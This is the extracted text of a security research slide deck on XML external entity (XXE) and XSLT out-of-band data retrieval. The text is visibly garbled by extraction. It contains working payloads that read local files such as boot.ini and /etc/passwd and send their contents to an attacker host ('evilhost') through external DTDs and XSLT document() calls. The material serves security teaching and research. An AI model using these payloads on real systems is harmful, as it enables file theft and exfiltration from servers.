XML ¡Out-‑Of-‑Band ¡Data ¡Retrieval ¡ Timur ¡Yunusov ¡ Alexey ¡Osipov ¡
Who ¡we ¡are ¡ • Timur ¡Yunusov: ¡ – Web ¡Applica8on ¡Security ¡Researcher ¡ – Interna8onal ¡forum ¡on ¡prac8cal ¡security ¡«Posi8ve ¡ Hack ¡Days» ¡developer ¡ • Alexey ¡Osipov: ¡ – AFack ¡preven8on ¡mechanisms ¡Researcher ¡ – Security ¡tools ¡and ¡Proof ¡of ¡Concepts ¡developer ¡ • SCADA ¡StrangeLove ¡team ¡members ¡
Agenda ¡ • XML ¡Overview ¡ • XML ¡eXternal ¡En88es ¡ • En88es ¡in ¡aFributes ¡ • Out-‑Of-‑Band ¡aFack ¡ – DTD ¡ – XSLT ¡ • Summary ¡ • Demos ¡ • Ques8ons ¡
XML ¡OVERVIEW ¡
XML ¡overview ¡ • Very ¡popular ¡protocol ¡lately ¡ – Serializa8on ¡ – SOA-‑architecture ¡(REST, ¡SOAP, ¡OAuth) ¡ – Human-‑readable ¡(at ¡least ¡intended ¡to ¡be) ¡ • Many ¡parsers/many ¡op8ons ¡controlling ¡ behavior ¡(over ¡9000) ¡ ¡ • Many ¡xml-‑extensions ¡like ¡XSLT, ¡SOAP, ¡XML ¡ schema ¡ ¡
XML ¡overview ¡ • Many ¡opportuni8es ¡lead ¡to ¡many ¡ vulnerabili8es: ¡ – Adobe ¡(@agarri_fr, ¡spasibo) ¡ – PostgreSQL ¡(@d0znpp), ¡PHP, ¡Java ¡ • Many ¡hackers ¡techniques ¡
XML ¡EXTERNAL ¡ENTITY ¡
XML ¡enAAes ¡ • En88es: ¡ – Predefined ¡ ¡ & ¡< ¡% ¡ – General ¡ ¡ <!ENTITY ¡general ¡“hello”> ¡ – Parameter ¡ ¡ <!ENTITY ¡% ¡param ¡“hello”> ¡ • General ¡and ¡parameter ¡en88es ¡may ¡be: ¡ – Internal ¡(defined ¡in ¡current ¡DTD) ¡ – External ¡(defined ¡in ¡external ¡resource) ¡
XXE ¡impact ¡ • Local ¡file ¡reading ¡ • Intranet ¡access ¡ • Host-‑scan/Port-‑scan ¡ • Remote ¡Code ¡Execu8on ¡(not ¡so ¡o_en) ¡ • Denial ¡of ¡Service ¡
XXE ¡techniques ¡ • XML ¡data ¡output ¡(basic) ¡ • Error-‑based ¡XXE ¡ – DTD ¡(invalid/values ¡type ¡defini8on) ¡ – Schema ¡valida8on ¡ • Blind ¡techniques ¡ ¡ – XSD ¡values ¡bruteforce ¡(@d0znpp) ¡
Error ¡based ¡output ¡ • Schema ¡valida8on ¡In ¡Xerces ¡ parser ¡error ¡: ¡Invalid ¡URI: ¡: [file] ¡ I/O ¡warning ¡: ¡failed ¡to ¡load ¡external ¡en8ty "[file]“ ¡ parser ¡error ¡: ¡DOCTYPE ¡improperly ¡terminated ¡ Warning: ¡*** ¡ [file] ¡in ¡*** ¡on ¡line ¡11 ¡ <!DOCTYPE ¡html[ ¡ <!ENTITY ¡% ¡foo ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ %foo;]> ¡
XML ¡constraints ¡ • XML ¡validity/well-‑formedness ¡ – WFC: ¡No ¡External ¡En8ty ¡References ¡… ¡ in ¡aBributes ¡ – WFC: ¡No ¡< ¡in ¡AFribute ¡Values ¡ – WFC: ¡PEs ¡in ¡Internal ¡Subset ¡
Parameter ¡enAAes ¡ resolve/validaAon ¡algorithm ¡ <?xml ¡version="1.0" ¡encoding="uq-‑8"?> ¡ <!DOCTYPE ¡html ¡[ ¡ <!ENTITY ¡% ¡internal ¡SYSTEM ¡"local_file.xml"> ¡ %internal;]> ¡ <!ENTITY ¡8tle ¡"Hello, ¡World!"> ¡]> ¡ <html>&8tle;</html> ¡ local_file.xml: ¡ <!ENTITY ¡8tle ¡"Hello, ¡World!"> ¡
XXE ¡aJacks ¡restricAons ¡ • XML ¡parser ¡reads ¡only ¡valid ¡xml ¡documents ¡ – No ¡binary ¡=( ¡ ¡ ¡ ¡ ¡ (hFp://www.w3.org/TR/REC-‑xml/#CharClasses) ¡ ¡ – Malformed ¡first ¡string ¡(no ¡encoding ¡aFribute) ¡ (Some ¡parsers) ¡ – But ¡we ¡have ¡wrappers! ¡ • Resul8ng ¡document ¡should ¡also ¡be ¡valid ¡ – No ¡external ¡en88es ¡in ¡aFributes ¡
ENTITIES ¡IN ¡ATTRIBUTES ¡
System ¡enAAes ¡restricAons ¡ ¡bypass ¡within ¡aJributes ¡ Well-‑formed ¡constraint: ¡ ¡ – No ¡External ¡En8ty ¡References ¡ • So, ¡this ¡is ¡not ¡possible, ¡right? ¡ <!DOCTYPE ¡root[ ¡ ¡<ENTITY ¡internal ¡SYSTEM ¡"file:///etc/passwd"> ¡ ]> ¡ <root ¡aFrib="&internal;“/> ¡ ¡
System ¡enAAes ¡restricAons ¡ ¡bypass ¡within ¡aJributes ¡ <?xml ¡version="1.0" ¡encoding="uq-‑8"?> ¡ <!DOCTYPE ¡root ¡[ ¡ <!ENTITY ¡% ¡remote ¡SYSTEM ¡"hFp://evilhost/evil.xml"> ¡ %remote; ¡ <!ENTITY ¡internal ¡'[boot ¡loader] ¡8meout ¡***'> ¡ %param1; ¡]> ¡ <root ¡aFrib="&internal;" ¡/> ¡ Evil.xml ¡ <!ENTITY ¡% ¡payload ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ <!ENTITY ¡% ¡param1 ¡"<!ENTITY ¡internal ¡'%payload;'>"> ¡
PaJern ¡validaAon ¡ ¡ ¡ ¡ ¡<xs:restric8on ¡base="xs:string"> ¡ ¡ ¡ ¡ ¡ ¡ ¡<xs:paFern ¡value="&test;" ¡/> ¡ ¡ ¡ ¡ ¡</xs:restric8on> ¡
DEMO ¡
OUT-‑OF-‑BAND ¡ATTACK ¡
XXE ¡aJacks ¡restricAons ¡ Server-‑side ¡in ¡general ¡(except ¡Adobe ¡XXE ¡SOP ¡ bypass) ¡
XXE ¡OOB ¡
XXE ¡OOB ¡ What ¡other ¡OOB ¡communica8on ¡techniques ¡are ¡ present? ¡ ¡ DNS ¡exfiltra8on ¡via ¡SQL ¡Injec8on ¡(@stamparm) ¡ UTL_HTTP.REQUEST ¡ ¡ xp_fileexist ¡ Dblink ¡ LOAD_FILE ¡
XXE ¡OOB ¡ <?xml ¡version="1.0" ¡encoding="uq-‑8"?> ¡ <!DOCTYPE ¡root ¡[ ¡ <!DOCTYPE ¡root ¡SYSTEM ¡ “hBp://evilhost/xml.xml”> ¡ <!ENTITY ¡% ¡remote ¡SYSTEM ¡"hFp://evilhost/evil.xml"> ¡ <root> ¡ ¡ ¡ ¡&trick; ¡ %remote; ¡ </root> ¡ %int; ¡ <!ENTITY ¡% ¡trick ¡SYSTEM ¡'hFp://evil/?%5Bboot%20'> ¡ %trick;]> ¡ Evil.xml ¡ <!ENTITY ¡% ¡payl ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ <!ENTITY ¡% ¡int ¡" ¡ <!ENTITY ¡% ¡trick ¡SYSTEM ¡'hFp://evil/?%payl;'> ¡ "> ¡
XXE ¡OOB ¡ DTD ¡Parsing, ¡ SYSTEM ¡reading ¡ XML ¡ AFacker ¡ Server ¡ PROFIT! ¡
Parsing ¡restricAons ¡ • Beside ¡restric8ons ¡of ¡all ¡en88es ¡there ¡are ¡also ¡ new ¡ones ¡ • “PEReferences ¡forbidden ¡in ¡internal ¡ subset” ¡(c) ¡XML ¡Specifica8on ¡ – So ¡we ¡should ¡be ¡able ¡to ¡read ¡some ¡external ¡ resource ¡(local ¡or ¡remote) ¡ – Wrappers ¡
Parsing ¡restricAons ¡ • Quotes ¡are ¡blocking ¡defini8on ¡of ¡en88es ¡ – One ¡should ¡try ¡single/double ¡quotes ¡when ¡ defining ¡en8ty ¡ ¡ <!ENTITY ¡% ¡int ¡"<!ENTITY ¡% ¡trick ¡‘[file ¡ content’]’>" ¡ • Space/new ¡line/other ¡whitespace ¡symbols ¡ should ¡not ¡appear ¡in ¡URI ¡ – Wrappers ¡again ¡=) ¡ – Or ¡not ¡even ¡needed ¡
Vectors ¡ • Depending ¡on ¡parser ¡features ¡– ¡lack ¡of ¡DTD ¡ valida8on ¡in ¡main ¡document ¡doesn’t ¡mean ¡ lack ¡of ¡valida8on ¡everywhere. ¡Some ¡possible ¡ clues: ¡ – External ¡DTD ¡or ¡Internal ¡DTD ¡subset ¡from ¡external ¡ data ¡ – Parameter ¡en88es ¡only ¡ – XSD ¡Schema ¡ – XSLT ¡template ¡
Vectors ¡ • <!DOCTYPE ¡root ¡SYSTEM ¡“…”> ¡ • <!ENTITY ¡external ¡PUBLIC ¡“some_text” ¡“…”> ¡ • <tag ¡xsi:schemaLoca8on=“…”/> ¡ ¡ • <tag ¡xsi:noNamespaceSchemaLoca8on=“…”/> ¡ ¡ • <xs:include ¡schemaLoca8on=“…”> ¡ • <xs:import ¡schemaLoca8on=“…”> ¡ • <?xml-‑stylesheet ¡href=“…”?> ¡
XSLT ¡OUT-‑OF-‑BAND ¡
XSLT ¡OOB ¡ • Controlling ¡XSLT ¡transforma8on ¡template ¡we ¡ can ¡access ¡some ¡data ¡from ¡sensi8ve ¡host: ¡ <xsl:variable ¡name="payload" ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡select="document('hBp://sensiXve_host/',/)"/> ¡ <xsl:variable ¡name="combine" ¡ ¡ ¡ ¡ ¡ ¡select="concat('hBp://evilhost/', ¡$payload)"/> ¡ <xsl:variable ¡name="result" ¡ ¡ ¡ ¡ ¡ ¡select="document($combine)" ¡/> ¡
Recommend
More recommend